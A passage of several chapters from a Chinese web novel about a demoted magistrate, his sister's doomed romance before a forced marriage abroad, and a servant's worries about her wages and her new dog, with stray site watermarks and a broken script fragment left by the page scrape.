“周大人的事我已经听说了。”娉婷低下头什么也没有说,陈明阳也不再说别的,两人就这么静静站着。半晌,陈明阳终于说道:“若是走进这河里,便没有了这些恐惧,可是人若是连死都不怕,还怕什么呢?” 娉婷也不看陈明阳,“我不是来寻死的 。” “娉婷?” “若我死了,得有多少人受到牵连?我不愿意这样。也许西凉也没有我想的怎么糟糕。听说那里也有璀璨的文明,那里的人也向往大一统,也与人为善,也许,那里会是一个好的归宿。” 陈明阳低着头,他知道自己无法改变这一切,突然,他看着娉婷说道:“娉婷,既然无法改变,那这两个月,起码这两个月,我们好好过吧。” 娉婷不明所以看着陈明阳,“以前你不是说喜欢我吗?那这两个月我就带你好好玩玩,像一对小情侣那样,好好活着。” 娉婷看着陈明阳良久,两人就这样呆呆站着看着彼此,突然,娉婷浅浅一笑,又眼中含泪地问道:“你可不要骗我。” 陈明阳也笑了,“我爷爷一直问我,问我周家小姐怎么不来,所以,就当孝顺爷爷了。周小姐,作为朋友,你愿意帮帮我吗?” 娉婷哽咽道:“忙可以帮,但是我可是很贵的。” 陈明阳一抱拳,“永远愿听周小姐差遣。” (本章完) 第一百零五章 那就好好珍惜现在 - 风吹繁花散落时 - 红酒羊排 陈明阳与娉婷约好像小情侣一样过好最后的两个月,第二天,陈明阳便带着娉婷去黄山游玩。周启看妹妹心情好转,又听侍卫说昨天晚上娉婷是和陈明阳一起回来的,虽然忧心,但是没有什么更好的办法转变现今的局面,也就随他们去了。陈千朗原本不愿意陈明阳再接近娉婷,但是周启刚刚被降为县令,陈家便对周家敬而远之实在不妥,况且陈明阳已经说的很明确,两人只是朋友之谊,又为了安慰老太爷,只好答应了这看似奇怪的相处方式。 两人站在黄山脚下,娉婷仰望着黄山,马上就要入秋,黄山变得多彩起来。 “走啊。” “我来过,还上去了呢。” “厉害呀。”娉婷不自觉笑了起来,陈明阳脸上挂着笑,两人相视良久,终于说道:“走吧。”两人一步步向黄山进发,陈明阳走在娉婷身后,一步一步,陈明阳觉得两人前所未有的亲密,又前所未有的遥远。娉婷只低头爬山,她什么也不想说,什么也不想想,就是爬山。 此时的歙县衙门里,周启正坐在院中悠闲喝茶。吴怡躲在门后小心观察,李婶从她身后要出门,“吴怡,你看什么呢?” “嘘。” “怎么了?” “李婶,你说周大人奇不奇怪,他从知府便知县了,居然还能悠闲喝茶?” “嘿,我还以为你在看什么呢。”说着李婶拉开门出门,还不忘回头吩咐吴怡,“快点干活吧,你别忘了,你说这府里的活你都干了。” “哦,我这就干活。”吴怡与李婶一起开始干活,周启还坐在院中喝茶没有任何要干什么的迹象,吴怡拿着大扫帚开始打扫庭院,她越扫离周启越近。其实周启早就用余光看见了吴怡,原本他不想理吴怡,但是最终忍无可忍,“土都飞我茶里了。” “哦,对不起大人。”吴怡赶紧扔下扫帚,跑到周启身边,“我给你换一杯。” “茶叶钱你来出。” “啥?”吴怡赶紧将茶杯放下,“这这这,这壶里的还能喝呢,不需要从新泡茶,我就给你换一个干净的杯子就行了。” “你就这么糊弄我的?” “没糊弄你啊。”吴怡坐在旁边的石凳子上,“周大人,你现在啊是知县了,那哪能还和知府老爷一样那么浪费呢,现在啊,就得节俭知道吗?” “节俭?我挺节俭的呀。” “你还节俭?以前我看见你把好茶做枕头了,我都亲眼看见了,多浪费啊。要不你以后别喝茶了,反正你不是说喝水和喝茶一样嘛。” 周启眯着眼看着吴怡,“你知不知你在说什么鬼话?” “知道啊,可这不是鬼话,这是合理的建议。周大人,你看啊,你的俸禄肯定变少了吧?咱能省点就省 点吧。” “呵呵呵,本官明白了。”周启摸了一下自己的鼻子,“你是担心本官没有钱发你工钱吧?” 吴怡尴尬一笑,赶紧解释,“这怎么可能呢?周大人。”吴怡站起身,离周启远了一步,“我不是这样的人,我,我会好好干的。”【*#爱奇文学 …#最快更新】 “你当然得好好干了,你现在每个月都会多欠本官二两银子。” “说到这个。”吴怡又坐在椅子上,殷勤说道:“嘿嘿,周大人,你昨天不说会考虑给我涨点钱吗?” “是吗?”周启看了一眼茶杯,“可是现在本官连茶都喝不起了,看来涨工钱是不可能了。” 吴怡又被周启气到了,她简直不知道说什么好,干脆起身继续干活。吴怡一拿起扫帚,便迅速看了一眼周启,使劲扫了起来,尘土顿时飞扬起来,整个院子都变成了土黄色。周启赶紧起身,用手扇着尘土,“吴怡!”吴怡紧扫两下,周启赶紧回房,吴怡将扫帚使劲往地上一杵,呵呵傻笑起来。 正在此时,张灵从门外走了进来,“你在干嘛呢?” 吴怡吓了一跳,赶紧扔下笤帚,“张小姐,你,你先别进来,我潲点水就好了。”说着吴怡赶紧那盆潲水,张灵才不管她,周启才是关键。 “周大人。” “张灵?有事吗?” 张灵一愣,走近了周启,“周大人,昨天。”张灵迅速看了一眼周启,“现在,整个徽州都听说了你被贬职的消息,就是昨天有消息灵通的人已经开始表示出不安。”周启最担心这个,刚要询问情况,张灵赶紧说道:“不过我已经安抚住他们了,毕竟周大人是状元,这才是学堂最应该培养的人才,你觉得呢?” “他们怎么说呢?” 张灵浅浅一笑,“开始他们还是有些犹豫,不过周大人在任上的所做大家都看在眼里,虽然皇上的圣旨上那么说,可是大家心中自有一杆秤,所以,大家最后还是决定按照原定计划行事,现在所有捐款、物资都已经到位了,学生们今天一早也开始上课了。请周大人放心。” “那就好。” “周大人。” “还有别的事吗?” “也没什么特别的,就是我在想娉婷不是心情不好嘛,我想不如我带她出去走走,这样她心情也能好点。” “哦,不用了。” “我只是想帮你分担一下。” “我知道你是好意,不过有人带她出去了。” “哦。那就好了,出去走走肯定是不错的。” 周启将书放在桌子上终于要坐下了,“还有事吗?” 张灵突然觉得周启是在送客,自己原本打算先讨好娉婷,如今她出去了,自己又没有什么备案,所以只好告退。张灵一出来,见吴怡正在收拾院子。张灵已 经调查清楚了,吴怡最早在知府衙门上工,后来为了每个月十两银子的月例去了钱家,如今不知为何居然跟到了县衙。张灵也不急,缓缓走到吴怡身边,“吴怡?” “张小姐小心点,这些东西都得重新洗一下,还有那些东西,小心别绊倒了。” 张灵见地上一大堆瓶瓶罐罐,“这不就是从知府衙门搬来的吗?这里离知府衙门这么近,没必要都洗一遍吧?” “是吧?我也说呢,可是李婶说一定要都洗一遍,她觉得在箱子里搁着,一路上又尘土飞扬的,为了大人的健康,一定要洗干净的。” “那倒是,李婶是那个之前被余年威胁的那个人吗?” 吴怡放下手中活,赶紧解释,“张小姐,她也是为了她儿子,再说了,周大人都说不怪她,还将她重新招回了知府衙门,所以我觉得……” “哦,你别误会。李婶是周大人的仆人,周大人都说没事了,我自然不会说什么。只是……” “怎么了?” “你也知道,比如你吧,你在钱家赚十两银子,可是现在……哦,我没有想打听你赚多少钱的意思,但是肯定没有钱家多吧?这衙门也是,如今周大人成了知县,那月奉……” “唉,真是。周大人都不能给我涨工资了,还说茶都喝不起了。” 张灵听吴怡说周启茶都喝不起,差点笑出来,可是张灵怎么能告诉吴怡真相呢。“是啊,吴怡,你看周大人的收入都降低了,可是他还得养活这么一大家子,我都替大人着急。” “张小姐。”吴怡湿着两只手,一步跨过瓶瓶罐罐,“张小姐是不是有什么赚钱的好办法?” “啊?我呀,哎呦吴怡,我之前帮周大人筹集学堂的捐款,你也知道,这边学堂刚开学,那边周大人就被贬官了,这徽州的商人都恨死我了,我现在还能有什么好生意可做呢。” “啊?那,那你没事吧?” 张灵假装委屈地看着吴怡,“唉,不过呢俗话说得好,瘦死的骆驼比马大,我再怎样,好歹还有张家拖着我,大不了我就回晋中嘛。可是你呀……” “我?我怎么了?” “吴怡。”张灵伸手摸了摸吴怡的头发,“我在徽州暂时没有生意做了,只好剪掉一些伙计,虽然他们都是拖家带口的,可是我也没有办法。不过呢,我要是没了进项,我也是不得已,比如我就先去掉那些年富力强的,要不你也知道,那些上有老下有小的人很有可能会跟我拼命的。当然了,还有那些一直跟着我的老人,我可不想因为一时困顿就开掉他们,毕竟他们才是最衷心的。” “张小姐,你遇到苦难了?”张灵一时没明白张灵是什么意思,还以为张灵真的遇到了什么难题。 张灵用同情的眼光看着吴怡微微一笑,“不管怎么样,若是没有额外的收入只好节约支出,缩减一些用人也是情理之中,希望吴怡你能明白。” 吴怡这才听明白,“你是说周大人现在不需要这么多佣人了。” “哦不不不,我是在说我自己,我自己的伙计,我希望你别误会。” 吴怡才不管张灵要不要裁掉伙计呢,她在想自己马上就要卷铺盖走人了,因为这些侍卫和连锁管家是周启从家里带来的,李婶正是唯一一个拖家带口的人,而自己则是那个年富力强的人。吴怡瞬间有了紧迫感,若是没有这份工作,吴怡马上就要一个月欠周启四两银子了,加上之前骗他的钱,吴怡觉得自己这一辈子都无法翻身了。 吴怡正想着,李婶走了过来,“吴怡,你怎么不赶紧洗啊,这么傻站着,一会儿大人要用,我看你用什么?” (本章完) if(('baiduboxapp>-1){(' 第一百零六章 歙县县令 - 风吹繁花散落时 - 红酒羊排 吴怡被张灵的话点醒了,一下子发现自己就是那个即将被裁掉的佣人,心里一下子慌了。若说这工作每个月倒赔二两银子,任谁看都不是一个好工作,但是若不干,还真没地方有比这更好的工作了,到时候每个月就是倒赔四两银子。吴怡觉得自己简直太悲凉了,之前她还是知府夫人,每个月赚十两银子的有钱人,现在,呵呵,比在山东时候还窘迫。此时周启还在书房看书,李婶已经开始准备午饭,吴怡帮着将东西都归整到位,突然发现搬次家还挺麻烦,幸亏这院子里都是男人,东西还算少的,要不要累断腰才能收拾干净。 到了中午,周启终于从书房出来,“午饭好了吗?” “大人,这就可以用饭了。”李婶赶紧去端饭菜,吴怡站在院子里啃着萝卜。“大人。” “这萝卜从你月例银子里边扣。” 吴怡一下子愣住了,“大人?” “毕竟本官连茶都喝不起。” 吴怡白了一眼周启,拿萝卜指着李婶说道:“那你有没有想过少吃几个菜呢?” “你少吃两个萝卜更合适一点。” 吴怡见周启去餐厅了,又使劲瞪了他一眼,还啃了一口萝卜。她知道自己的好日子已经离她远去了,现在应该赶紧去找份好工作。周启用过午饭,仍旧在书房看书,吴怡伸着脑袋观察周启。 “有事就说。” “周大人,你怎么不是上工?” “上工?” “是啊,你不是县太爷吗?” “李博还没来呢。” “他不是钦差吗?” “你到底想说什么?” “大人,你都从知府变成知县了,要是再不努力点,你马上就……嗯。” 周启差点被吴怡气乐了,“那,那本官就去看看好了。” 周启走过吴怡身边,吴怡赶紧说道:“大人。” “又怎么了?” “这县衙需要多少人?” “根据大周律令,知县可以下设师爷、司库、衙役、牢头等,一共十几人吧。” “十几人?那我,我……” “你什么呀?我怎么觉得你怪怪的?” 两人正打哑谜,李婶走了过来,“大人,你现在有时间吗?我有两句话想跟你说。” “哦,你说吧,反正吴怡也不知道自己到底要说什么。” “大人,之前我背叛了你,可是你不计前嫌再次收留了我,还将我儿子一并接来,我实在无以为报,本来我想着今生伺候大人,可是,可是……”李婶说着突然哭了起来,她赶紧擦掉眼泪,“只是现在,大人是知县了,这么一大家子人要养,实在是……”【!*爱奇文学 ¥&最快更新】 “哈哈哈哈。”周启真的忍不住笑了起来,他看了一眼吴怡,见她也是忧心忡忡,又看着李婶说道:“本官不才 ,虽然从知府变成知县了,可是还是能养活全家的,你们不必有所顾虑,心细做好自己的分内事的就好。” “大人,我十分不能拖累大人。” “李婶,你刚才说了你想着今生伺候本官,这样的衷心若本官还不珍惜,那本官也算是做到头了。你不必忧心,只要你还愿意跟着本官,就算他日本官回了京城老家,也愿意给你提供一份好的差事。当然了,若是你有了其他打算,本官绝不拦着。” “大人,大人。”李婶赶紧解释,“这怎么可能呢,我就是再不懂事,也不可能再对大人生出二心,就是我儿子长大了,也终身供大人驱使。” “你有此心便好,你儿子本官看着还不错的,来日供他去学堂读圣人之书,将来也能对我们大周有所助益,成为栋梁。” “多谢大人,多谢大人。”李婶千恩万谢,终于告退去干活了。吴怡还站在原地。 “你怎么样?想走想留?” “我?我欠你这么多银子,我也没法走啊。” “切。”周启白了一眼吴怡,“知道欠我钱更应该好好工作,没事别瞎想,赶紧干活去!”周启吩咐完,去县衙上差。这歙县就是府治所在,之前的县令任期到了便去别的县任职了。而周启来到徽州任知府之时,歙县县令空缺,后来朝廷也没有任命新的县令,所有很多歙县的事务本就由周启直接代理。虽然这不合朝廷制度,但是谁又敢来府治之地指手画脚呢。 周启在县衙升堂,一应人等皆立于堂上。“师爷何在?” “学生在。” “怎么只有你一个人?” “回大人,知县久不上任,吏员自然不太齐全。” “你在任多长时间了?“ “回大人,学生已经当了15年师爷,辅佐过三任知县。” “这么说,本官是你辅佐的第四位知县了?” “是。” “本官不喜欢四这个数字,本官给你十天时间,你另谋差事吧。” 师爷一听赶紧跪地,“大人,学生一直兢兢业业,不说自己是个好师爷吧,那怎么也是努力勤勉。” “退下!”周启不想跟他多费口舌,继续发问道:“捕头何在?” “大人,小的在。” “三班衙役共有多少人?” “回大人,皂班现在有四人,快班共有十人,壮班皆为临时招募,现在没有人。” “你叫什么名字?” “回大人,小的任五。” “好,皂班全部留下,你除外,所有捕快,本官给他们十天时间另谋差事。” “大人。”一听这话,立马跪倒一大片,哭天抢地说自己都是上有老下有下,周启不管他们,继续问道:“司库何在?” “大人。”司库赶紧答话,生怕 晚了也被开掉。 “你带本官去看看库银,还有一应物资。” “是,大人这边请。”司库带着周启来到库房,只见库房落了一层厚厚的灰,门窗也多有破损。司库开始找钥匙,也不知是紧张还是怎的,钥匙没拿稳掉在了地上,周启一看就火了,“库房破成这个样子,还有必要拿钥匙吗?” 司库噗通跪在地上,磕头如捣蒜,“大人赎罪,大人赎罪。” 周启见他这样更加心烦,“我们大周的吏属要都是你们这样,大周危已。” “不敢这么说,不敢这么说啊。” “给我起来!”周启原本心情就不太好,看吏属全都长得獐头鼠目,长官还没想怎么着就被吓得跪地求饶,心里更加难过,“本官也不想知道府库到底流失了多少,你就告诉本官府库现在还剩多少就行了。” “大人,那小的得先盘点一下……” 没等司库说完,周启大声说道:“本官给你两天时间,你另谋差事吧。”说着,周启转身就走,司库恨死自己了,要是没掉钥匙就好了。周启气不顺地从府衙回来,李博终于姗姗来迟。“你干嘛去了?” 李博知道周启不高兴,赶紧解释,“我给皇上写奏折,我觉得要是小姐两个月能回去,事情还是有缓和的,况且,你不是也要回京去,去娶那个回纥的公主吗?我觉得早点动身也好。” “胡说!” “怎么了?你不会真的想在这当个县令吧?我的周大人,你当大人上瘾啊?” “圣上既然让我当县令我就应该好好干好差事,天天想着回京,你能有点出息吗?” “周大人。我刚才可都听说了,你把前边那些人都开掉了,现在就剩下一个捕头了,我倒是想问问你,你打算怎么办啊?” “何平。” “大人。” “你现在开始任本县捕头。” “我?” “怎么?不愿意吗?” “是,大人,小的一定好好干。” “嗯,所有侍卫担任本县捕快,你来当师爷兼任司库,这不都解决了。” “这也行啊?” “这么不行了?你赶紧,赶紧去库房盘点一下,之前少了什么想办法补上,不能补的,想办法报缺。” “当个破知县,还得自己往回填窟窿啊?” “你说谁破呢?” 李博自知失言,赶紧跑了,侍卫们也都开始分发衙役的衣服,吴怡帮着大家洗衣服,顿时忙碌起来,也不再想其他的了。第二天,周启早起升堂布置工作。原来的捕头变成了捕快,与何平分为两组,一人带领一组开始在歙县内巡查。说是歙县,其实还是徽州府地界,与原来的衙役多有交集,以前的衙役见是何平与侍卫们也都见面打声招呼,两个衙门 还算和谐。 “大人。” “怎么了?” “府库查清楚了,银两一百五一两三钱,与账本倒是能对上,只是东西缺失的多了一点,像这桌椅板凳,你看这县衙里只有三条板凳了,库房也需要修缮,我算了一下,可能所有库银加在一起还不够。” “这徽州是富庶之地,怎么一个县衙穷成这个样子?” “之前三任县令皆是任期到期被调去了别的县继续做县令,你说奇怪不?这里可是府治范围,单反和知府搞好关系怎么也能升迁吧?可是那三位,嘿,整个透着一个‘我就是不想升迁,我就是想躲着升迁’的气质。” “最近三任,昨天那个师爷说自己辅佐了三任知县,你说会不会是?” (本章完) if(('baiduboxapp>-1){(' 第一百零七章 小情侣受阻 - 风吹繁花散落时 - 红酒羊排 “你觉得师爷有问题?” “你想啊,他来十五年,辅佐的三任知县全都毫无建树没有升迁,这衙门的差役全都那样,每一个像样的,连府库都破败不堪,知县离任后,这衙门还不是他这个师爷锁了算吗?” “可是朝廷没有派人来当知县也不是他一个小师爷可以左右的啊,我觉得要说是因为你的缘故才没有新派知县,这个理由倒是成立。” “这也有可能,可是就算新派一个县令来,他不还是师爷吗?在他的‘调教’下,新来的县令不还是会和前三任一样吗?” “你这么说的话,这个师爷似乎是有点问题,那我现在去查查?” “你去吧,哦对了,别打草惊蛇。” “放心吧,我现在都是师爷了,我肯定好好辅佐大人。” 周启笑了起来,“成,李师爷,以后本官可就全都仰仗你了。” “包在我身上。”李博说完,赶紧去办差。此时的师爷还不知道刚被开掉又要被调查,正忧愁地在酒馆喝酒。在酒馆喝酒的还有娉婷与陈明阳,他们两个在黄山两天,其实已经很累了,娉婷觉得所有的负能量也都释放出去了,现在她的心情好了很多,但是两人不想就此回家去,便找了一个小酒馆打算不醉不归。 娉婷喝得有些迷离了,又加上这两天劳累,觉得头脑发胀,行为不受控制。“陈明阳。” “嗯?” “我好喜欢你。” “哈哈,我知道。” “你为什么不喜欢我呀?” 陈明阳也喝多了,一手搭在桌子上撑着头,“我喜欢你呀。” “你胡说。”娉婷苦笑两声,“你胡说。” “娉婷。”陈明阳拉住娉婷的手,盯着娉婷的眼睛说道:“我喜欢你,我陈明阳喜欢你周娉婷。”娉婷觉得突然清醒,听陈明阳说这话,巨大的悲怆再次袭来,一时不知该如何是好。可是陈明阳继续说道:“要不是我爹让我去进城躲着你,我都不知道我自己喜欢你。不过也是啊,你天天叽叽喳喳,刁蛮任性,我都不知道我喜欢你什么。” “哼,是啊,谁会喜欢我这样的人呢?” “我啊。我喜欢你,你以前老实粘着我,我觉得你好讨厌,你知道不知道?你真的好讨厌,可是后来你不在,我总觉得少点什么似的。”陈明阳稍微坐正,离娉婷更近了一点,“你知道不知道,我在大牢里就想了,别说我不知道你在哪,就是我知道,我也绝对不告诉别人,我绝不能让他们找到你,我不想的,我不想的。” “这不怪你。” “怎么不怪我?我就是个笨蛋,我是自己去你家找你然后被他们抓住了,你知道吗?我自有习武,可是我就是打不过他们,我就是没打过。”说着陈明阳 低着头呜呜哭了起来,“若是我再厉害一点就好了,起码能跑了也好,这样你就不会回来自投罗网,你就能获得自由,想去哪去哪,想嫁给谁嫁给谁。”陈明阳红着眼看着娉婷,“你知道吗?你一定会遇到一个好男人,懂得珍惜你,愿意保护你,就算你刁蛮任性,也不会对你不耐烦,也会好好护着你,让你一辈子开开心心的,开开心心的。”陈明阳摸着娉婷的脸颊,“对不起,对不起,娉婷,对不起,我应该早点和你在一起,我们应该早点在一起。” 娉婷突然也掉下一滴泪来,甚至不敢再看陈明阳,娉婷抽回手,“你喝多了,咱们回去吧。” “我没喝多。” “好,你没喝多,那我们也回去吧,我有点累了。”娉婷站起身来扶陈明阳,“我送你回家去吧,回了你家,我们可以再喝点。” “好啊。”陈明阳终于站起来,任由娉婷扶着往陈家走去。一到陈记,陈千朗冲了出来,“陈明阳,明阳啊。”陈千朗见娉婷一直看着陈明阳,知道两人必是藕断丝连,“周小姐,我们自己照顾他吧,谢谢周小姐送犬子回来。” “那好,有你们照顾他就好,我就先走了。” “哎,别走啊。”陈明阳一把拉住娉婷,“别走啊,爷爷还念叨你呢,爷爷一直想你呢。爹。哎,爹你怎么出来了?” “还我怎么出来了,你赶紧给我撒手,让周小姐回去了。” “那还成?我们还没喝过呢。” “还喝!都喝成什么样子了!” “我没喝多!”陈明阳一下子站直了,打算给陈千朗证明自己没有喝多,“你看,我没喝多。” “成成成,没喝多,但是天不早了,周小姐得回家了,你们明天再见吧。” “啊?明天再见?娉婷,娉婷。明天你来啊,我带你在我家玩会,我爷爷想你呢。” “好,我明天一定来。”娉婷不想管陈千朗怎么想的,她觉得反正就剩最后两个月了,好好过好每一天才好,至于陈明阳,她已经不做她想,她希望她能好好活着。 “哎周小姐。”陈千朗一边扶着陈明阳一边打算劝说几句。 “陈老板,你放心吧,我不想胡闹了,我也不奢求别的,我和陈明阳就是朋友,前段时间是我太任性了,我不想因为我让他这么痛苦,所以我会和他好好说的,让他忘了我,好好活着。”说完,娉婷转身离开了,陈明阳还在大声嚷嚷,“明天来啊,我等你啊。”陈千朗赶紧将陈明阳扶直了,小厮们也来帮忙,好不容易才进屋。陈明阳一头倒在床上呼呼就睡,陈千朗看着陈明阳心疼极了,自己的儿子向来豁达,如今为了周娉婷如此折磨自己,还醉成这样,关键是就算两人是郎有情妾有 意那有能怎么样呢?虽然陈明阳不肯告诉自己周娉婷的身份,但是陈千朗向来洞察人心,大体能猜出周家连着皇室,而皇室的事情无小事,自己就算是徽商中的佼佼者又怎么能跟皇室抗衡呢?况且周娉婷一失踪,陈明阳就被关进了顺天府大牢,她从京城跑了,周知府就便降职成了知县,说明周娉婷十分重要,她不能出现任何意外,她必须回京城去。 陈千朗坐在陈明阳身边,“明阳啊,爹知道你喜欢周小姐,她也喜欢你,可是又能怎么样呢?士农工商学,我们商人在这大周,就是在这天下都是末流,你还是将她忘了吧,忘了她对谁都好。”陈明阳呼呼睡着,陈千朗知道他听不见,便转身去追娉婷,就在娉婷马上就要进县衙的时候,陈千朗终于追上了她。“周小姐。” “陈老板?” “周小姐。”陈千朗噗通一声跪在娉婷脚下,“周小姐,虽然陈明阳没有告诉我,但是我猜想你必是达官显贵,身份不一般,若是您有任何闪失,我们陈家实在担不起这么大的责任。周小姐,周小姐,就算我求求你了,我,只要你有什么要求你大可以提,我一定,不我们陈记上下一定尽力满足您,周小姐,周小姐……” 娉婷见他这样心里也不是滋味,刚想说点什么,周启从衙门走了出来,冷冷地问道:“干什么呢?” “哎呀周大人。”陈千朗赶紧转向周启,“周大人,我求求你了,放过陈明阳吧,周大人啊。” 周启不明所以看着娉婷,见她红着眼低着头,怒火腾地一下就上来了,“放肆!你也不看看这是什么地方,岂容你在这里喧哗。” “周大人,陈明阳已经为周小姐入过一次牢房了,我爹年事已高,若是他再出了什么事,我们可怎么活呀。周大人,您是最明事理的了,请周大人劝说一下周小姐,不要与陈明阳再见面了。” “你别玩了,是我妹妹救的陈明阳,没有我妹妹,陈明阳现在还在顺天府大牢里,怎么?他回了徽州,你就觉得他安全了,他就忙着与我们周家划清界限了是吧?” “不是的,周大人,这,不是的呀周大人。” “那是你觉得本官从知府变知县了,你们陈家就应该跟我们周家划清界限了是吗?” “不是啊,周大人一心为公,这些大家都看在眼里,不管大人是知府还是知县,小民都是一样敬重大人。” “那就好。本官今天明白告诉你,不管我妹妹做什么,你最好给我一边呆着去,你若好好配合,本官保你陈记无事,如若不然,本官作为一县之长也能叫你陈记好看。” “大人,你,你不能不讲道理啊。” “不讲道理?哼,本官就是不讲道理。娉婷,我们 走!”说着,周启将娉婷拉进了知府衙门,娉婷回头看着陈千朗,他惊讶异常,大门一关上,娉婷便对周启说道:“哥,算了。” “什么算了?” “我明天还是回京吧,我……” “你给我闭嘴!” “哥!”娉婷突然大声说道:“你还不明白吗?父皇铁了心要我嫁去西凉,我已经没有路可走了。本来陈明阳说这两个月就好好活着,可是现在看来是不能了。” “娉婷。”周启十分心痛,他摸着娉婷的头说道:“哥哥一定会保护你,就算你嫁去西凉,哥哥也一定会将你平安带回家。” (本章完) 第一百零八章 李博套路吴怡 - 风吹繁花散落时 - 红酒羊排 陈千朗为了陈明阳的安全去求娉婷,虽然被周启训斥了一顿,但是娉婷却放在了心上,第二天便没有去陈家,陈明阳喝得什么都不知道了,也忘记了与娉婷的约定,第二天睡到中午才起,因为陈老太爷更加糊涂了,拉着陈明阳说着说那,陈明阳无法脱身,也没有来找娉婷,娉婷在府里枯坐半日,终于断了对陈明阳的念想,心想:还是等着和哥哥一起回京吧,这一个多月就好好在府里带着,哪也不要去,认命好了。人就是这样,若不认命又没法改变的时候最为痛苦,但是一旦万念俱灭认了命也就没有什么痛苦可言,生活一下子就是按部就班无所事事,只等着命运来安排就好了。 周启忧心忡忡,娉婷前两天刚好一点,可是昨天陈千朗一席话又让她房门都不肯出了。 “大人?”吴怡拿着扫帚站在周启身边。 “怎么了?” “我看你都在这站好久了。” “吴怡。”周启顿了顿,继续说道:“如果过几天就死了,你打算怎么办?” “啊?” “就是,万一你知道你过一个多月就要死了,那你该怎么办?” “我?那我就吃吃喝喝,把以前不敢干的事情都干一遍。” “呵,你之前有什么不敢干的。” “周大人,我这种小老百姓不敢干的事情多了。” “比如呢?” “我?我就没劫过道,也没杀人放火的。” “你就不能想点不违法的事情吗?” “哈哈哈,周大人我看你愁眉不展的,我逗你呢。不过呢,真有一件事我一直想干却没敢干。” “什么?” “就是养一条大狗。” “养条狗?切,那有什么不敢的。” 吴怡突然正经起来,她杵着扫帚,有点委屈地看着周启,“周大人,以前我和我爹连个落脚的地方,养条狗就得好好养着,总不能让它跟我们一起流浪吧?” 周启听吴怡这么说突然觉得心疼起吴怡来,“那你现在可以养了。” “在这吗?呵呵,这可是衙门。”吴怡又笑了起来,“周大人,以前我一看见官差就打哆嗦,见到当官的就跑,现在倒好我天天住在衙门里,这里的大人还说让我在这养条狗。哈哈哈。” 周启也笑了起来,“不过本官可以允许你养一条。” “真的?” “本官说话一向算数。” “嘿嘿。”吴怡双手把着扫帚身体摇晃起来,“大人,那我去,我去买一条大狗。”吴怡刚要跑,突然冷静下来,看着周启说道:“大人。” “嗯?” “我没钱。”吴怡说完自己都觉得尴尬。 周启眉毛一皱,最终被气乐了,“你,你真是……得得得,你自己上街上看看哪里有流浪狗, 收养一只算了。” 吴怡嘟了一下嘴,“小气。” “那你到底想不想养?” “想想想,大人,我现在就去哈。”吴怡放下扫帚便上街了,她其实一直都看中一条狗,还每天喂它吃东西,只是一直无法将它带回家,现在终于得了周大人的允许,吴怡迫不及待要找到它才行。吴怡在街上转来转去,狗是没找到,一个喝多了男人倒是晃晃悠悠冲着吴怡摔了过来。“哎哎哎,大哥,这位大哥。” “啊,呵。”男人醉着哼哼道:“我就知道,哈哈,一个师爷而已,谁能把你当回事,哈哈哈。” “这位大哥,你喝多了。”吴怡使劲扶着师爷,“大哥,大哥你家在哪?” “我没家。”男人拿着酒壶在空中划了一个弧线,“没家。” “那个,大哥啊,我有事,要不你,你现在先在路边坐会?醒醒酒?”吴怡将男人扶到一边,最终将他放在路边醒酒,继续找狗。而此时李博查清楚了师爷的情况找周启汇报。 “这个师爷名叫孙林,似乎没什么奇怪的。他的邻居说他一直深居简出,在金钱上也没有什么特别大手大脚的情况。哦对了,他曾经有一个妻子,可是后来不知道为什么突然与他离合了,还带走了他们唯一的儿子。” “这么说这个师爷似乎没什么问题啊。” “嗯……” “怎么了?” “有一点倒是有点奇怪,他每隔十天就去一趟庙里。” “去庙里有什么奇怪的?有很多人信佛的,他们希望借助佛祖的力量获得心理的安慰,这应该不算奇怪吧?” “可是一般求神拜佛都是有什么事啊,比如女人求子,男人想要升官发财,活着家里有人生病了,药石罔极的时候才回去求佛祖,可是他一个光棍,父母亲朋子女都没有,他去庙里到底求什么呢?” “嘶,你这么说的话,他是挺奇怪。你去庙里问了吗?” “方丈说他就是一般香客,没什么特别的。” “问他平时求什么了吗?” “说都是他自己在拜佛,没有告诉过方丈。” “那他添香火钱了吗?” “添了,他所有的俸禄基本上都添香火钱了。” “那应该是很重要的事情啊,他到底能求什么呢?” “这就不得而知了。不过大人,就算他没事拜拜佛,把钱都花了,这也是他自己的钱,和县衙破败了没什么关系吧。我觉得前三任知县才可疑呢,也许他们就是不长进也说不定呢。” “连续三任都不长进?” “那,那也不是不可能啊。” “要知道这样,昨天不将他开除了。”周启想了想,“这样吧,明天咱们找机会问问他,看看前三任为什么都在这富庶之地毫无 建树。” “你都把人家开了,人家能告诉咱们吗?” “嘿,万一他想他老实点,没准我一心软将他留下了呢。” “会吗?” “不会。” 李博摇了摇头,“周大人,他是师爷,你这点小伎俩能成吗?” “嘿,那你倒是想个好办法,现任师爷?” “嘿嘿,那,那明天先问问看吧。” 正说着,吴怡抱着狗回来了,“大人,大人。”吴怡还没进院就喊叫起来。周启伸着脖子透过窗户往外看,只见吴怡怀里一只黑色的小狗正害怕地看着院子。两人一同走出来,“这徽州城里就没有一条好狗吗?” “嘿嘿,这就很好啊,它可听话了。” 周启走进一看,不过是一般土狗,全身都是黑的,只有眉骨上是黄色的,“叫什么呀?” “嗯……叫黑子。” 周启瞪了一眼吴怡,“还旺旺呢。” “嘿嘿,大人,它没名字。” “还怪臭的呢,你赶紧给它洗洗。” “哎,成。”吴怡抱着狗往里走去,又转头对周启说道:“说好了啊,以后都养它不能反悔啊。” “不反悔,它的口粮从你嘴里剩就行了。” 吴怡撇了一下嘴,“知道了,周大人,反正我就是把所有活都干了,然后一分钱也拿不到,成了吧。” “还得少吃点。” “知道了!”吴怡抱着狗,对狗说道:“乖乖,姐姐省下的饭给你吃啊,以后你长大了保护姐姐哈。” “嘿。” 趁着周启没发飙,吴怡赶紧跑了。李博终于说道:“大人,这两个月后就走了,怎么还养上狗了?” “吴怡想养,反正院子也大,养着吧。” “这院子里人多,还有孩子,再养条狗,有点挤了吧?” “没事,反正咱们过两个月不就走了吗?挤就挤点吧。” 李博看周启这样,又开始担心起来,原本以为吴怡以后跟着钱宁了,也与周启离合,自己的担心终于减轻了。可是张灵突然冒了出来,不仅张灵,吴怡又与钱宁分手回到了衙门里,周启对她的态度明显比对别人都好。一时间,李博甚至不知道到底应该防着谁。李博趁周启去叫娉婷看狗的空档来到柴房,吴怡正蹲在门口给狗洗澡。“吴怡。”李博也蹲在一旁。 “李大人。” “吴怡,你看啊,这周大人不好意思说,可是你看这知县衙门比知府衙门可小太多了,你这养条狗,这,这不合时吧?” “嗯?周大人说可以养啊。” “周大人说可以?” “是啊,再说了,你看它多乖啊,这洗澡都不挣扎的,哎对了,要不叫它乖乖吧。” 